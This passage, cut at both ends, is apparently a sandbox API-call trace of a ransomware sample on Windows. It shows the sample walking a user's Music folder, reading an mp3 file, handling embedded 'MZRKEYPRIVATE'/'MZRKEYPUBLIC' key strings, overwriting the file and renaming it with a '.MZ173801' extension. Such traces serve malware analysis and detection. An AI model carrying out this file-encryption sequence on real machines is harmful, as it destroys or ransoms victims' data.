cAlternateFileName="VM_WVG~1")) returned 1 [0158.584] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31b3400, ftCreationTime.dwHighDateTime=0x1d5ea2d, ftLastAccessTime.dwLowDateTime=0xc99261c0, ftLastAccessTime.dwHighDateTime=0x1d5e3e4, ftLastWriteTime.dwLowDateTime=0xc99261c0, ftLastWriteTime.dwHighDateTime=0x1d5e3e4, nFileSizeHigh=0x0, nFileSizeLow=0x3f36, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="z4jiZg.mp3", cAlternateFileName="")) returned 1 [0158.584] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0158.584] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.584] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\z4jiZg.mp3" (normalized: "c:\\users\\fd1hvy\\music\\z4jizg.mp3"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31b3400, ftCreationTime.dwHighDateTime=0x1d5ea2d, ftLastAccessTime.dwLowDateTime=0xc99261c0, ftLastAccessTime.dwHighDateTime=0x1d5e3e4, ftLastWriteTime.dwLowDateTime=0xc99261c0, ftLastWriteTime.dwHighDateTime=0x1d5e3e4, nFileSizeHigh=0x0, nFileSizeLow=0x3f36)) returned 1 [0158.584] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\z4jiZg.mp3" (normalized: "c:\\users\\fd1hvy\\music\\z4jizg.mp3")) returned 0x20 [0158.584] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\z4jiZg.mp3", dwFileAttributes=0x80) returned 1 [0158.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24caebc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0158.586] GetCurrentThreadId () returned 0xab4 [0158.586] GetCurrentThreadId () returned 0xab4 [0158.586] GetCurrentThreadId () returned 0xab4 [0158.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24dbf1c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.587] GetCurrentThreadId () returned 0xab4 [0158.587] GetCurrentThreadId () returned 0xab4 [0158.587] GetCurrentThreadId () returned 0xab4 [0158.587] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\z4jiZg.mp3" (normalized: "c:\\users\\fd1hvy\\music\\z4jizg.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0158.587] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0158.587] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0158.587] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3f36 [0158.587] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0158.587] ReadFile (in: hFile=0x288, lpBuffer=0x24e3d20, nNumberOfBytesToRead=0x3f36, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24e3d20*, lpNumberOfBytesRead=0x19fa18*=0x3f36, lpOverlapped=0x0) returned 1 [0158.588] CloseHandle (hObject=0x288) returned 1 [0158.588] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\z4jiZg.mp3" (normalized: "c:\\users\\fd1hvy\\music\\z4jizg.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0158.589] WriteFile (in: hFile=0x288, lpBuffer=0x24e7d50*, nNumberOfBytesToWrite=0x3f36, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24e7d50*, lpNumberOfBytesWritten=0x19fa24*=0x3f36, lpOverlapped=0x0) returned 1 [0158.590] CloseHandle (hObject=0x288) returned 1 [0158.591] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\z4jiZg.mp3" (normalized: "c:\\users\\fd1hvy\\music\\z4jizg.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\z4jiZg.mp3.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\z4jizg.mp3.mz173801")) returned 1 [0158.592] GetCurrentThreadId () returned 0xab4 [0158.592] GetCurrentThreadId () returned 0xab4 [0158.592] GetCurrentThreadId () returned 0xab4 [0158.592] GetCurrentThreadId () returned 0xab4 [0158.592] GetCurrentThreadId () returned 0xab4 [0158.592] GetCurrentThreadId () returned 0xab4 [0158.592] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31b3400, ftCreationTime.dwHighDateTime=0x1d5ea2d, ftLastAccessTime.dwLowDateTime=0xc99261c0, ftLastAccessTime.dwHighDateTime=0x1d5e3e4, ftLastWriteTime.dwLowDateTime=0xc99261c0, ftLastWriteTime.dwHighDateTime=0x1d5e3e4, nFileSizeHigh=0x0, nFileSizeLow=0x3f36, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="z4jiZg.mp3", cAlternateFileName="")) returned 0 [0158.592] GetLastError () returned 0x12 [0158.592] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0158.592] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x88aa706e, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x88aa706e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0158.592] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0158.592] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.592] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x88aa706e, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x88aa706e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.592] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0158.592] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.592] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb95c22e0, ftCreationTime.dwHighDateTime=0x1d5ecfa, ftLastAccessTime.dwLowDateTime=0x45910380, ftLastAccessTime.dwHighDateTime=0x1d5ea5c, ftLastWriteTime.dwLowDateTime=0x45910380, ftLastWriteTime.dwHighDateTime=0x1d5ea5c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="9y41-fr3PlkYnrNFG2e", cAlternateFileName="9Y41-F~1")) returned 1 [0158.593] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0158.593] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.593] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb95c22e0, ftCreationTime.dwHighDateTime=0x1d5ecfa, ftLastAccessTime.dwLowDateTime=0x45910380, ftLastAccessTime.dwHighDateTime=0x1d5ea5c, ftLastWriteTime.dwLowDateTime=0x45910380, ftLastWriteTime.dwHighDateTime=0x1d5ea5c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b7a8 [0158.593] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb95c22e0, ftCreationTime.dwHighDateTime=0x1d5ecfa, ftLastAccessTime.dwLowDateTime=0x45910380, ftLastAccessTime.dwHighDateTime=0x1d5ea5c, ftLastWriteTime.dwLowDateTime=0x45910380, ftLastWriteTime.dwHighDateTime=0x1d5ea5c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0158.593] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa506d520, ftCreationTime.dwHighDateTime=0x1d5e515, ftLastAccessTime.dwLowDateTime=0x22e32030, ftLastAccessTime.dwHighDateTime=0x1d5e4ed, ftLastWriteTime.dwLowDateTime=0x22e32030, ftLastWriteTime.dwHighDateTime=0x1d5e4ed, nFileSizeHigh=0x0, nFileSizeLow=0x16df1, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="AuJwOyKnChH.wav", cAlternateFileName="AUJWOY~1.WAV")) returned 1 [0158.593] 